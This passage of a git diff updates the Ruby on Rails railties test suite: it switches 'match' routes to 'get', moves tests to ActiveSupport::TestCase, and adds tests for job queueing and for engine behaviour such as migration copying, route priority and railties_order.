+ get "/" => "omg#index"
end
require 'rack/test'
@@ -155,7 +160,7 @@ module TestHelpers
app_file 'config/routes.rb', <<-RUBY
AppTemplate::Application.routes.draw do
- match ':controller(/:action)'
+ get ':controller(/:action)'
end
RUBY
end
@@ -178,20 +183,6 @@ module TestHelpers
end
end
- def plugin(name, string = "")
- dir = "#{app_path}/vendor/plugins/#{name}"
- FileUtils.mkdir_p(dir)
-
- File.open("#{dir}/init.rb", 'w') do |f|
- f.puts "::#{name.upcase} = 'loaded'"
- f.puts string
- end
-
- Bukkit.new(dir).tap do |bukkit|
- yield bukkit if block_given?
- end
- end
-
def engine(name)
dir = "#{app_path}/random/#{name}"
FileUtils.mkdir_p(dir)
@@ -257,10 +248,11 @@ module TestHelpers
def use_frameworks(arr)
to_remove = [:actionmailer,
- :activemodel,
- :activerecord,
- :activeresource] - arr
- remove_from_config "config.active_record.identity_map = true" if to_remove.include? :activerecord
+ :activerecord] - arr
+ if to_remove.include? :activerecord
+ remove_from_config "config.active_record.whitelist_attributes = true"
+ remove_from_config "config.active_record.dependent_restrict_raises = false"
+ end
$:.reject! {|path| path =~ %r'/(#{to_remove.join('|')})/' }
end
@@ -270,11 +262,10 @@ module TestHelpers
end
end
-class Test::Unit::TestCase
+class ActiveSupport::TestCase
include TestHelpers::Paths
include TestHelpers::Rack
include TestHelpers::Generation
- extend ActiveSupport::Testing::Declarative
end
# Create a scope and build a fixture rails app
diff --git a/railties/test/paths_test.rb b/railties/test/paths_test.rb
index c0f3887263..aa04cad033 100644
--- a/railties/test/paths_test.rb
+++ b/railties/test/paths_test.rb
@@ -22,13 +22,14 @@ class PathsTest < ActiveSupport::TestCase
root = Rails::Paths::Root.new(nil)
root.add "app"
root.path = "/root"
- assert_equal ["app"], root["app"]
+ assert_equal ["app"], root["app"].to_ary
assert_equal ["/root/app"], root["app"].to_a
end
test "creating a root level path" do
@root.add "app"
assert_equal ["/foo/bar/app"], @root["app"].to_a
+ assert_equal [Pathname.new("/foo/bar/app")], @root["app"].paths
end
test "creating a root level path with options" do
@@ -91,10 +92,6 @@ class PathsTest < ActiveSupport::TestCase
assert_equal ["/foo/bar/app2", "/foo/bar/app"], @root["app"].to_a
end
- test "the root can only have one physical path" do
- assert_raise(RuntimeError) { Rails::Paths::Root.new(["/fiz", "/biz"]) }
- end
-
test "it is possible to add a path that should be autoloaded only once" do
@root.add "app", :with => "/app"
@root["app"].autoload_once!
@@ -195,6 +192,7 @@ class PathsTest < ActiveSupport::TestCase
@root["app"] = "/app"
@root["app"].glob = "*.rb"
assert_equal "*.rb", @root["app"].glob
+ assert_equal [Pathname.new("/app")], @root["app"].paths
end
test "it should be possible to override a path's default glob without assignment" do
diff --git a/railties/test/queueing/test_queue_test.rb b/railties/test/queueing/test_queue_test.rb
new file mode 100644
index 0000000000..78c6c617fe
--- /dev/null
+++ b/railties/test/queueing/test_queue_test.rb
@@ -0,0 +1,67 @@
+require 'abstract_unit'
+require 'rails/queueing'
+
+class TestQueueTest < ActiveSupport::TestCase
+ class Job
+ def initialize(&block)
+ @block = block
+ end
+
+ def run
+ @block.call if @block
+ end
+ end
+
+ def setup
+ @queue = Rails::Queueing::TestQueue.new
+ end
+
+ def test_drain_raises
+ @queue.push Job.new { raise }
+ assert_raises(RuntimeError) { @queue.drain }
+ end
+
+ def test_jobs
+ @queue.push 1
+ @queue.push 2
+ assert_equal [1,2], @queue.jobs
+ end
+
+ def test_contents
+ assert @queue.empty?
+ job = Job.new
+ @queue.push job
+ refute @queue.empty?
+ assert_equal job, @queue.pop
+ end
+
+ def test_order
+ processed = []
+
+ job1 = Job.new { processed << 1 }
+ job2 = Job.new { processed << 2 }
+
+ @queue.push job1
+ @queue.push job2
+ @queue.drain
+
+ assert_equal [1,2], processed
+ end
+
+ def test_drain
+ t = nil
+ ran = false
+
+ job = Job.new do
+ ran = true
+ t = Thread.current
+ end
+
+ @queue.push job
+ @queue.drain
+
+ assert @queue.empty?
+ assert ran, "The job runs synchronously when the queue is drained"
+ assert_not_equal t, Thread.current
+ end
+end
diff --git a/railties/test/queueing/threaded_consumer_test.rb b/railties/test/queueing/threaded_consumer_test.rb
new file mode 100644
index 0000000000..c34a966d6e
--- /dev/null
+++ b/railties/test/queueing/threaded_consumer_test.rb
@@ -0,0 +1,100 @@
+require 'abstract_unit'
+require 'rails/queueing'
+
+class TestThreadConsumer < ActiveSupport::TestCase
+ class Job
+ attr_reader :id
+ def initialize(id, &block)
+ @id = id
+ @block = block
+ end
+
+ def run
+ @block.call if @block
+ end
+ end
+
+ def setup
+ @queue = Rails::Queueing::Queue.new
+ @consumer = Rails::Queueing::ThreadedConsumer.start(@queue)
+ end
+
+ def teardown
+ @queue.push nil
+ end
+
+ test "the jobs are executed" do
+ ran = false
+
+ job = Job.new(1) do
+ ran = true
+ end
+
+ @queue.push job
+ sleep 0.1
+ assert_equal true, ran
+ end
+
+ test "the jobs are not executed synchronously" do
+ ran = false
+
+ job = Job.new(1) do
+ sleep 0.1
+ ran = true
+ end
+
+ @queue.push job
+ assert_equal false, ran
+ end
+
+ test "shutting down the queue synchronously drains the jobs" do
+ ran = false
+
+ job = Job.new(1) do
+ sleep 0.1
+ ran = true
+ end
+
+ @queue.push job
+ assert_equal false, ran
+
+ @consumer.shutdown
+
+ assert_equal true, ran
+ end
+
+ test "log job that raises an exception" do
+ require "active_support/log_subscriber/test_helper"
+ logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
+ Rails.logger = logger
+
+ job = Job.new(1) do
+ raise "RuntimeError: Error!"
+ end
+
+ @queue.push job
+ sleep 0.1
+
+ assert_equal 1, logger.logged(:error).size
+ assert_match(/Job Error: RuntimeError: Error!/, logger.logged(:error).last)
+ end
+
+ test "test overriding exception handling" do
+ @consumer.shutdown
+ @consumer = Class.new(Rails::Queueing::ThreadedConsumer) do
+ attr_reader :last_error
+ def handle_exception(e)
+ @last_error = e.message
+ end
+ end.start(@queue)
+
+ job = Job.new(1) do
+ raise "RuntimeError: Error!"
+ end
+
+ @queue.push job
+ sleep 0.1
+
+ assert_equal "RuntimeError: Error!", @consumer.last_error
+ end
+end
diff --git a/railties/test/rails_info_controller_test.rb b/railties/test/rails_info_controller_test.rb
index 8a9363fb80..f7a30a16d2 100644
--- a/railties/test/rails_info_controller_test.rb
+++ b/railties/test/rails_info_controller_test.rb
@@ -11,7 +11,7 @@ class InfoControllerTest < ActionController::TestCase
def setup
Rails.application.routes.draw do
- match '/rails/info/properties' => "rails/info#properties"
+ get '/rails/info/properties' => "rails/info#properties"
end
@request.stubs(:local? => true)
@controller.stubs(:consider_all_requests_local? => false)
diff --git a/railties/test/rails_info_test.rb b/railties/test/rails_info_test.rb
index 1da66062aa..b9fb071d23 100644
--- a/railties/test/rails_info_test.rb
+++ b/railties/test/rails_info_test.rb
@@ -43,7 +43,7 @@ class InfoTest < ActiveSupport::TestCase
def test_frameworks_exist
Rails::Info.frameworks.each do |framework|
- dir = File.dirname(__FILE__) + "/../../" + framework.gsub('_', '')
+ dir = File.dirname(__FILE__) + "/../../" + framework.delete('_')
assert File.directory?(dir), "#{framework.classify} does not exist"
end
end
diff --git a/railties/test/railties/engine_test.rb b/railties/test/railties/engine_test.rb
index f8b84e49c9..7a047ef93a 100644
--- a/railties/test/railties/engine_test.rb
+++ b/railties/test/railties/engine_test.rb
@@ -1,13 +1,11 @@
require "isolation/abstract_unit"
-require "railties/shared_tests"
require "stringio"
require "rack/test"
module RailtiesTest
- class EngineTest < Test::Unit::TestCase
+ class EngineTest < ActiveSupport::TestCase
include ActiveSupport::Testing::Isolation
- include SharedTests
include Rack::Test::Methods
def setup
@@ -29,6 +27,395 @@ module RailtiesTest
teardown_app
end
+ def boot_rails
+ super
+ require "#{app_path}/config/environment"
+ end
+
+ test "serving sprocket's assets" do
+ @plugin.write "app/assets/javascripts/engine.js.erb", "<%= :alert %>();"
+
+ boot_rails
+ require 'rack/test'
+ extend Rack::Test::Methods
+
+ get "/assets/engine.js"
+ assert_match "alert()", last_response.body
+ end
+
+ test "rake environment can be called in the engine" do
+ boot_rails
+
+ @plugin.write "Rakefile", <<-RUBY
+ APP_RAKEFILE = '#{app_path}/Rakefile'
+ load 'rails/tasks/engine.rake'
+ task :foo => :environment do
+ puts "Task ran"
+ end
+ RUBY
+
+ Dir.chdir(@plugin.path) do
+ output = `bundle exec rake foo`
+ assert_match "Task ran", output
+ end
+ end
+
+ test "copying migrations" do
+ @plugin.write "db/migrate/1_create_users.rb", <<-RUBY
+ class CreateUsers < ActiveRecord::Migration
+ end
+ RUBY
+
+ @plugin.write "db/migrate/2_add_last_name_to_users.rb", <<-RUBY
+ class AddLastNameToUsers < ActiveRecord::Migration
+ end
+ RUBY
+
+ @plugin.write "db/migrate/3_create_sessions.rb", <<-RUBY
+ class CreateSessions < ActiveRecord::Migration
+ end
+ RUBY
+
+ app_file "db/migrate/1_create_sessions.rb", <<-RUBY
+ class CreateSessions < ActiveRecord::Migration
+ def up
+ end
+ end
+ RUBY
+
+ add_to_config "ActiveRecord::Base.timestamped_migrations = false"
+
+ boot_rails
+
+ Dir.chdir(app_path) do
+ output = `bundle exec rake bukkits:install:migrations`
+
+ assert File.exists?("#{app_path}/db/migrate/2_create_users.bukkits.rb")
+ assert File.exists?("#{app_path}/db/migrate/3_add_last_name_to_users.bukkits.rb")
+ assert_match(/Copied migration 2_create_users.bukkits.rb from bukkits/, output)
+ assert_match(/Copied migration 3_add_last_name_to_users.bukkits.rb from bukkits/, output)
+ assert_match(/NOTE: Migration 3_create_sessions.rb from bukkits has been skipped/, output)
+ assert_equal 3, Dir["#{app_path}/db/migrate/*.rb"].length
+
+ output = `bundle exec rake railties:install:migrations`.split("\n")
+
+ assert_no_match(/2_create_users/, output.join("\n"))
+
+ bukkits_migration_order = output.index(output.detect{|o| /NOTE: Migration 3_create_sessions.rb from bukkits has been skipped/ =~ o })
+ assert_not_nil bukkits_migration_order, "Expected migration to be skipped"
+
+ migrations_count = Dir["#{app_path}/db/migrate/*.rb"].length
+ output = `bundle exec rake railties:install:migrations`
+
+ assert_equal migrations_count, Dir["#{app_path}/db/migrate/*.rb"].length
+ end
+ end
+
+ test "mountable engine should copy migrations within engine_path" do
+ @plugin.write "lib/bukkits.rb", <<-RUBY
+ module Bukkits
+ class Engine < ::Rails::Engine
+ isolate_namespace Bukkits
+ end
+ end
+ RUBY
+
+ @plugin.write "db/migrate/0_add_first_name_to_users.rb", <<-RUBY
+ class AddFirstNameToUsers < ActiveRecord::Migration
+ end
+ RUBY
+
+ @plugin.write "Rakefile", <<-RUBY
+ APP_RAKEFILE = '#{app_path}/Rakefile'
+ load 'rails/tasks/engine.rake'
+ RUBY
+
+ add_to_config "ActiveRecord::Base.timestamped_migrations = false"
+
+ boot_rails
+
+ Dir.chdir(@plugin.path) do
+ output = `bundle exec rake app:bukkits:install:migrations`
+ assert File.exists?("#{app_path}/db/migrate/0_add_first_name_to_users.bukkits.rb")
+ assert_match(/Copied migration 0_add_first_name_to_users.bukkits.rb from bukkits/, output)
+ assert_equal 1, Dir["#{app_path}/db/migrate/*.rb"].length
+ end
+ end
+
+ test "no rake task without migrations" do
+ boot_rails
+ require 'rake'
+ require 'rdoc/task'
+ require 'rake/testtask'
+ Rails.application.load_tasks
+ assert !Rake::Task.task_defined?('bukkits:install:migrations')
+ end
+
+ test "puts its lib directory on load path" do
+ boot_rails
+ require "another"
+ assert_equal "Another", Another.name
+ end
+
+ test "puts its models directory on autoload path" do
+ @plugin.write "app/models/my_bukkit.rb", "class MyBukkit ; end"
+ boot_rails
+ assert_nothing_raised { MyBukkit }
+ end
+
+ test "puts its controllers directory on autoload path" do
+ @plugin.write "app/controllers/bukkit_controller.rb", "class BukkitController ; end"
+ boot_rails
+ assert_nothing_raised { BukkitController }
+ end
+
+ test "adds its views to view paths" do
+ @plugin.write "app/controllers/bukkit_controller.rb", <<-RUBY
+ class BukkitController < ActionController::Base
+ def index
+ end
+ end
+ RUBY
+
+ @plugin.write "app/views/bukkit/index.html.erb", "Hello bukkits"
+
+ boot_rails
+
+ require "action_controller"
+ require "rack/mock"
+ response = BukkitController.action(:index).call(Rack::MockRequest.env_for("/"))
+ assert_equal "Hello bukkits\n", response[2].body
+ end
+
+ test "adds its views to view paths with lower proriority than app ones" do
+ @plugin.write "app/controllers/bukkit_controller.rb", <<-RUBY
+ class BukkitController < ActionController::Base
+ def index
+ end
+ end
+ RUBY
+
+ @plugin.write "app/views/bukkit/index.html.erb", "Hello bukkits"
+ app_file "app/views/bukkit/index.html.erb", "Hi bukkits"
+
+ boot_rails
+
+ require "action_controller"
+ require "rack/mock"
+ response = BukkitController.action(:index).call(Rack::MockRequest.env_for("/"))
+ assert_equal "Hi bukkits\n", response[2].body
+ end
+
+ test "adds helpers to controller views" do
+ @plugin.write "app/controllers/bukkit_controller.rb", <<-RUBY
+ class BukkitController < ActionController::Base
+ def index
+ end
+ end
+ RUBY
+
+ @plugin.write "app/helpers/bukkit_helper.rb", <<-RUBY
+ module BukkitHelper
+ def bukkits
+ "bukkits"
+ end
+ end
+ RUBY
+
+ @plugin.write "app/views/bukkit/index.html.erb", "Hello <%= bukkits %>"
+
+ boot_rails
+
+ require "rack/mock"
+ response = BukkitController.action(:index).call(Rack::MockRequest.env_for("/"))
+ assert_equal "Hello bukkits\n", response[2].body
+ end
+
+ test "autoload any path under app" do
+ @plugin.write "app/anything/foo.rb", <<-RUBY
+ module Foo; end
+ RUBY
+ boot_rails
+ assert Foo
+ end
+
+ test "routes are added to router" do
+ @plugin.write "config/routes.rb", <<-RUBY
+ class Sprokkit
+ def self.call(env)
+ [200, {'Content-Type' => 'text/html'}, ["I am a Sprokkit"]]
+ end
+ end
+
+ Rails.application.routes.draw do
+ get "/sprokkit", :to => Sprokkit
+ end
+ RUBY
+
+ boot_rails
+ require 'rack/test'
+ extend Rack::Test::Methods
+
+ get "/sprokkit"
+ assert_equal "I am a Sprokkit", last_response.body
+ end
+
+ test "routes in engines have lower priority than application ones" do
+ controller "foo", <<-RUBY
+ class FooController < ActionController::Base
+ def index
+ render :text => "foo"
+ end
+ end
+ RUBY
+
+ app_file "config/routes.rb", <<-RUBY
+ AppTemplate::Application.routes.draw do
+ get 'foo', :to => 'foo#index'
+ end
+ RUBY
+
+ @plugin.write "app/controllers/bar_controller.rb", <<-RUBY
+ class BarController < ActionController::Base
+ def index
+ render :text => "bar"
+ end
+ end
+ RUBY
+
+ @plugin.write "config/routes.rb", <<-RUBY
+ Rails.application.routes.draw do
+ get 'foo', :to => 'bar#index'
+ get 'bar', :to => 'bar#index'
+ end
+ RUBY
+
+ boot_rails
+ require 'rack/test'
+ extend Rack::Test::Methods
+
+ get '/foo'
+ assert_equal 'foo', last_response.body
+
+ get '/bar'
+ assert_equal 'bar', last_response.body
+ end
+
+ test "rake tasks lib tasks are loaded" do
+ $executed = false
+ @plugin.write "lib/tasks/foo.rake", <<-RUBY
+ task :foo do
+ $executed = true
+ end
+ RUBY
+
+ boot_rails
+ require 'rake'
+ require 'rdoc/task'
+ require 'rake/testtask'
+ Rails.application.load_tasks
+ Rake::Task[:foo].invoke
+ assert $executed
+ end
+
+ test "i18n files have lower priority than application ones" do
+ add_to_config <<-RUBY
+ config.i18n.load_path << "#{app_path}/app/locales/en.yml"
+ RUBY
+
+ app_file 'app/locales/en.yml', <<-YAML
+en:
+ bar: "1"
+YAML
+
+ app_file 'config/locales/en.yml', <<-YAML
+en:
+ foo: "2"
+ bar: "2"
+YAML
+
+ @plugin.write 'config/locales/en.yml', <<-YAML
+en:
+ foo: "3"
+YAML
+
+ boot_rails
+
+ expected_locales = %W(
+ #{RAILS_FRAMEWORK_ROOT}/activesupport/lib/active_support/locale/en.yml
+ #{RAILS_FRAMEWORK_ROOT}/activemodel/lib/active_model/locale/en.yml
+ #{RAILS_FRAMEWORK_ROOT}/activerecord/lib/active_record/locale/en.yml
+ #{RAILS_FRAMEWORK_ROOT}/actionpack/lib/action_view/locale/en.yml
+ #{@plugin.path}/config/locales/en.yml
+ #{app_path}/config/locales/en.yml
+ #{app_path}/app/locales/en.yml
+ ).map { |path| File.expand_path(path) }
+
+ actual_locales = I18n.load_path.map { |path|
+ File.expand_path(path)
+ } & expected_locales # remove locales external to Rails
+
+ assert_equal expected_locales, actual_locales
+
+ assert_equal "2", I18n.t(:foo)
+ assert_equal "1", I18n.t(:bar)
+ end
+
+ test "namespaced controllers with namespaced routes" do
+ @plugin.write "config/routes.rb", <<-RUBY
+ Rails.application.routes.draw do
+ namespace :admin do
+ namespace :foo do
+ get "bar", :to => "bar#index"
+ end
+ end
+ end
+ RUBY
+
+ @plugin.write "app/controllers/admin/foo/bar_controller.rb", <<-RUBY
+ class Admin::Foo::BarController < ApplicationController
+ def index
+ render :text => "Rendered from namespace"
+ end
+ end
+ RUBY
+
+ boot_rails
+ require 'rack/test'
+ extend Rack::Test::Methods
+
+ get "/admin/foo/bar"
+ assert_equal 200, last_response.status
+ assert_equal "Rendered from namespace", last_response.body
+ end
+
+ test "initializers" do
+ $plugin_initializer = false
+ @plugin.write "config/initializers/foo.rb", <<-RUBY
+ $plugin_initializer = true
+ RUBY
+
+ boot_rails
+ assert $plugin_initializer
+ end
+
+ test "midleware referenced in configuration" do
+ @plugin.write "lib/bukkits.rb", <<-RUBY
+ class Bukkits
+ def initialize(app)
+ @app = app
+ end
+
+ def call(env)
+ @app.call(env)
+ end
+ end
+ RUBY
+
+ add_to_config "config.middleware.use \"Bukkits\""
+ boot_rails
+ end
+
test "Rails::Engine itself does not respond to config" do
boot_rails
assert !Rails::Engine.respond_to?(:config)
@@ -60,7 +447,6 @@ module RailtiesTest
assert index < initializers.index { |i| i.name == :build_middleware_stack }
end
-
class Upcaser
def initialize(app)
@app = app
@@ -135,7 +521,7 @@ module RailtiesTest
@plugin.write "config/routes.rb", <<-RUBY
Bukkits::Engine.routes.draw do
- match "/foo" => lambda { |env| [200, {'Content-Type' => 'text/html'}, ['foo']] }
+ get "/foo" => lambda { |env| [200, {'Content-Type' => 'text/html'}, ['foo']] }
end
RUBY
@@ -151,63 +537,31 @@ module RailtiesTest
assert_equal "foo", last_response.body
end
- test "engine can load its own plugins" do
+ test "it loads its environments file" do
@plugin.write "lib/bukkits.rb", <<-RUBY
module Bukkits
class Engine < ::Rails::Engine
+ config.paths["config/environments"].push "config/environments/additional.rb"
end
end
RUBY
- @plugin.write "vendor/plugins/yaffle/init.rb", <<-RUBY
- config.yaffle_loaded = true
- RUBY
-
- boot_rails
-
- assert Bukkits::Engine.config.yaffle_loaded
- end
-
- test "engine does not load plugins that already exists in application" do
- @plugin.write "lib/bukkits.rb", <<-RUBY
- module Bukkits
- class Engine < ::Rails::Engine
- end
- end
- RUBY
-
- @plugin.write "vendor/plugins/yaffle/init.rb", <<-RUBY
- config.engine_yaffle_loaded = true
- RUBY
-
- app_file "vendor/plugins/yaffle/init.rb", <<-RUBY
- config.app_yaffle_loaded = true
- RUBY
-
- warnings = capture(:stderr) { boot_rails }
-
- assert !warnings.empty?
- assert !Bukkits::Engine.config.respond_to?(:engine_yaffle_loaded)
- assert Rails.application.config.app_yaffle_loaded
- end
-
- test "it loads its environment file" do
- @plugin.write "lib/bukkits.rb", <<-RUBY
- module Bukkits
- class Engine < ::Rails::Engine
- end
+ @plugin.write "config/environments/development.rb", <<-RUBY
+ Bukkits::Engine.configure do
+ config.environment_loaded = true
end
RUBY
- @plugin.write "config/environments/development.rb", <<-RUBY
+ @plugin.write "config/environments/additional.rb", <<-RUBY
Bukkits::Engine.configure do
- config.environment_loaded = true
+ config.additional_environment_loaded = true
end
RUBY
boot_rails
assert Bukkits::Engine.config.environment_loaded
+ assert Bukkits::Engine.config.additional_environment_loaded
end
test "it passes router in env" do
@@ -254,18 +608,18 @@ module RailtiesTest
app_file "config/routes.rb", <<-RUBY
AppTemplate::Application.routes.draw do
- match "/bar" => "bar#index", :as => "bar"
+ get "/bar" => "bar#index", :as => "bar"
mount Bukkits::Engine => "/bukkits", :as => "bukkits"
end
RUBY
@plugin.write "config/routes.rb", <<-RUBY
Bukkits::Engine.routes.draw do
- match "/foo" => "foo#index", :as => "foo"
- match "/foo/show" => "foo#show"
- match "/from_app" => "foo#from_app"
- match "/routes_helpers_in_view" => "foo#routes_helpers_in_view"
- match "/polymorphic_path_without_namespace" => "foo#polymorphic_path_without_namespace"
+ get "/foo" => "foo#index", :as => "foo"
+ get "/foo/show" => "foo#show"
+ get "/from_app" => "foo#from_app"
+ get "/routes_helpers_in_view" => "foo#routes_helpers_in_view"
+ get "/polymorphic_path_without_namespace" => "foo#polymorphic_path_without_namespace"
resources :posts
end
RUBY
@@ -323,7 +677,7 @@ module RailtiesTest
assert_equal "bukkits_", Bukkits.table_name_prefix
assert_equal "bukkits", Bukkits::Engine.engine_name
- assert_equal Bukkits._railtie, Bukkits::Engine
+ assert_equal Bukkits.railtie_namespace, Bukkits::Engine
assert ::Bukkits::MyMailer.method_defined?(:foo_path)
assert !::Bukkits::MyMailer.method_defined?(:bar_path)
@@ -422,7 +776,7 @@ module RailtiesTest
@plugin.write "config/routes.rb", <<-RUBY
Bukkits::Awesome::Engine.routes.draw do
- match "/foo" => "foo#index"
+ get "/foo" => "foo#index"
end
RUBY
@@ -455,13 +809,19 @@ module RailtiesTest
Rails.application.load_seed
assert Rails.application.config.app_seeds_loaded
- assert_raise(NoMethodError) do Bukkits::Engine.config.bukkits_seeds_loaded end
+ assert_raise(NoMethodError) { Bukkits::Engine.config.bukkits_seeds_loaded }
Bukkits::Engine.load_seed
assert Bukkits::Engine.config.bukkits_seeds_loaded
end
- test "using namespace more than once on one module should not overwrite _railtie method" do
+ test "skips nonexistent seed data" do
+ FileUtils.rm "#{app_path}/db/seeds.rb"
+ boot_rails
+ assert_nil Rails.application.load_seed
+ end
+
+ test "using namespace more than once on one module should not overwrite railtie_namespace method" do
@plugin.write "lib/bukkits.rb", <<-RUBY
module AppTemplate
class Engine < ::Rails::Engine
@@ -478,7 +838,7 @@ module RailtiesTest
boot_rails
- assert_equal AppTemplate._railtie, AppTemplate::Engine
+ assert_equal AppTemplate.railtie_namespace, AppTemplate::Engine
end
test "properly reload routes" do
@@ -510,8 +870,6 @@ module RailtiesTest
boot_rails
- require "#{rails_root}/config/environment"
-
get("/foo")
assert_equal "foo", last_response.body
@@ -545,7 +903,6 @@ module RailtiesTest
RUBY
boot_rails
- require "#{rails_root}/config/environment"
app_generators = Rails.application.config.generators.options[:rails]
assert_equal :mongoid , app_generators[:orm]
@@ -568,7 +925,6 @@ module RailtiesTest
RUBY
boot_rails
- require "#{rails_root}/config/environment"
generators = Bukkits::Engine.config.generators.options[:rails]
assert_equal :active_record, generators[:orm]
@@ -592,7 +948,6 @@ module RailtiesTest
RUBY
boot_rails
- require "#{rails_root}/config/environment"
assert_equal "foo", Bukkits.table_name_prefix
end
@@ -606,7 +961,6 @@ module RailtiesTest
RUBY
boot_rails
- require "#{rails_root}/config/environment"
assert_equal Bukkits::Engine.instance, Rails::Engine.find(@plugin.path)
@@ -654,13 +1008,189 @@ module RailtiesTest
add_to_config("config.action_dispatch.show_exceptions = false")
boot_rails
- require "#{rails_root}/config/environment"
methods = Bukkits::Engine.helpers.public_instance_methods.collect(&:to_s).sort
expected = ["bar", "baz"]
assert_equal expected, methods
end
+ test "setting priority for engines with config.railties_order" do
+ @blog = engine "blog" do |plugin|
+ plugin.write "lib/blog.rb", <<-RUBY
+ module Blog
+ class Engine < ::Rails::Engine
+ end
+ end
+ RUBY
+ end
+
+ @plugin.write "lib/bukkits.rb", <<-RUBY
+ module Bukkits
+ class Engine < ::Rails::Engine
+ isolate_namespace Bukkits
+ end
+ end
+ RUBY
+
+ controller "main", <<-RUBY
+ class MainController < ActionController::Base
+ def foo
+ render :inline => '<%= render :partial => "shared/foo" %>'
+ end
+
+ def bar
+ render :inline => '<%= render :partial => "shared/bar" %>'
+ end
+ end
+ RUBY
+
+ app_file "config/routes.rb", <<-RUBY
+ Rails.application.routes.draw do
+ get "/foo" => "main#foo"
+ get "/bar" => "main#bar"
+ end
+ RUBY
+
+ @plugin.write "app/views/shared/_foo.html.erb", <<-RUBY
+ Bukkit's foo partial
+ RUBY
+
+ app_file "app/views/shared/_foo.html.erb", <<-RUBY
+ App's foo partial
+ RUBY
+
+ @blog.write "app/views/shared/_bar.html.erb", <<-RUBY
+ Blog's bar partial
+ RUBY
+
+ app_file "app/views/shared/_bar.html.erb", <<-RUBY
+ App's bar partial
+ RUBY
+
+ @plugin.write "app/assets/javascripts/foo.js", <<-RUBY
+ // Bukkit's foo js
+ RUBY
+
+ app_file "app/assets/javascripts/foo.js", <<-RUBY
+ // App's foo js
+ RUBY
+
+ @blog.write "app/assets/javascripts/bar.js", <<-RUBY
+ // Blog's bar js
+ RUBY
+
+ app_file "app/assets/javascripts/bar.js", <<-RUBY
+ // App's bar js
+ RUBY
+
+ add_to_config("config.railties_order = [:all, :main_app, Blog::Engine]")
+
+ boot_rails
+
+ get("/foo")
+ assert_equal "Bukkit's foo partial", last_response.body.strip
+
+ get("/bar")
+ assert_equal "App's bar partial", last_response.body.strip
+
+ get("/assets/foo.js")
+ assert_equal "// Bukkit's foo js\n;", last_response.body.strip
+
+ get("/assets/bar.js")
+ assert_equal "// App's bar js\n;", last_response.body.strip
+ end
+
+ test "railties_order adds :all with lowest priority if not given" do
+ @plugin.write "lib/bukkits.rb", <<-RUBY
+ module Bukkits
+ class Engine < ::Rails::Engine
+ end
+ end
+ RUBY
+
+ controller "main", <<-RUBY
+ class MainController < ActionController::Base
+ def foo
+ render :inline => '<%= render :partial => "shared/foo" %>'
+ end
+ end
+ RUBY
+
+ app_file "config/routes.rb", <<-RUBY
+ Rails.application.routes.draw do
+ get "/foo" => "main#foo"
+ end
+ RUBY
+
+ @plugin.write "app/views/shared/_foo.html.erb", <<-RUBY
+ Bukkit's foo partial
+ RUBY
+
+ app_file "app/views/shared/_foo.html.erb", <<-RUBY
+ App's foo partial
+ RUBY
+
+ add_to_config("config.railties_order = [Bukkits::Engine]")
+
+ boot_rails
+
+ get("/foo")
+ assert_equal "Bukkit's foo partial", last_response.body.strip
+ end
+
+ test "engine can be properly mounted at root" do
+ add_to_config("config.action_dispatch.show_exceptions = false")
+ add_to_config("config.serve_static_assets = false")
+
+ @plugin.write "lib/bukkits.rb", <<-RUBY
+ module Bukkits
+ class Engine < ::Rails::Engine
+ isolate_namespace ::Bukkits
+ end
+ end
+ RUBY
+
+ @plugin.write "config/routes.rb", <<-RUBY
+ Bukkits::Engine.routes.draw do
+ root "foo#index"
+ end
+ RUBY
+
+ @plugin.write "app/controllers/bukkits/foo_controller.rb", <<-RUBY
+ module Bukkits
+ class FooController < ActionController::Base
+ def index
+ text = <<-TEXT
+ script_name: \#{request.script_name}
+ fullpath: \#{request.fullpath}
+ path: \#{request.path}
+ TEXT
+ render :text => text
+ end
+ end
+ end
+ RUBY
+
+
+ app_file "config/routes.rb", <<-RUBY
+ Rails.application.routes.draw do
+ mount Bukkits::Engine => "/"
+ end
+ RUBY
+
+ boot_rails
+
+ expected = <<-TEXT
+ script_name:
+ fullpath: /
+ path: /
+ TEXT
+
+ get("/")
+ assert_equal expected.split("\n").map(&:strip),
+ last_response.body.split("\n").map(&:strip)
+ end
+
private
def app
Rails.application
diff --git a/railties/test/railties/generators_test.rb b/railties/test/railties/generators_test.rb
index f8540d69d9..6ebbabc0ff 100644
--- a/railties/test/railties/generators_test.rb
+++ b/railties/test/railties/generators_test.rb
@@ -46,10 +46,6 @@ module RailtiesTests
gem 'rails', :path => '#{RAILS_FRAMEWORK_ROOT}'
gem 'sqlite3'
-
- if RUBY_VERSION < '1.9'
- gem "ruby-debug", ">= 0.10.3"
- end
GEMFILE
end
end
diff --git a/railties/test/railties/mounted_engine_test.rb b/railties/test/railties/mounted_engine_test.rb
index 0491fc2174..4c0fdee556 100644
--- a/railties/test/railties/mounted_engine_test.rb
+++ b/railties/test/railties/mounted_engine_test.rb
@@ -1,7 +1,7 @@
require 'isolation/abstract_unit'
module ApplicationTests
- class ApplicationRoutingTest < Test::Unit::TestCase
+ class ApplicationRoutingTest < ActiveSupport::TestCase
require 'rack/test'
include Rack::Test::Methods
include ActiveSupport::Testing::Isolation
@@ -18,13 +18,13 @@ module ApplicationTests
AppTemplate::Application.routes.draw do
mount Weblog::Engine, :at => '/', :as => 'weblog'
resources :posts
- match "/engine_route" => "application_generating#engine_route"
- match "/engine_route_in_view" => "application_generating#engine_route_in_view"
- match "/weblog_engine_route" => "application_generating#weblog_engine_route"
- match "/weblog_engine_route_in_view" => "application_generating#weblog_engine_route_in_view"
- match "/url_for_engine_route" => "application_generating#url_for_engine_route"
- match "/polymorphic_route" => "application_generating#polymorphic_route"
- match "/application_polymorphic_path" => "application_generating#application_polymorphic_path"
+ get "/engine_route" => "application_generating#engine_route"
+ get "/engine_route_in_view" => "application_generating#engine_route_in_view"
+ get "/weblog_engine_route" => "application_generating#weblog_engine_route"
+ get "/weblog_engine_route_in_view" => "application_generating#weblog_engine_route_in_view"
+ get "/url_for_engine_route" => "application_generating#url_for_engine_route"
+ get "/polymorphic_route" => "application_generating#polymorphic_route"
+ get "/application_polymorphic_path" => "application_generating#application_polymorphic_path"
scope "/:user", :user => "anonymous" do
mount Blog::Engine => "/blog"
end
@@ -42,7 +42,7 @@ module ApplicationTests
@simple_plugin.write "config/routes.rb", <<-RUBY
Weblog::Engine.routes.draw do
- match '/weblog' => "weblogs#index", :as => 'weblogs'
+ get '/weblog' => "weblogs#index", :as => 'weblogs'
end
RUBY
@@ -86,9 +86,9 @@ module ApplicationTests
@plugin.write "config/routes.rb", <<-RUBY
Blog::Engine.routes.draw do
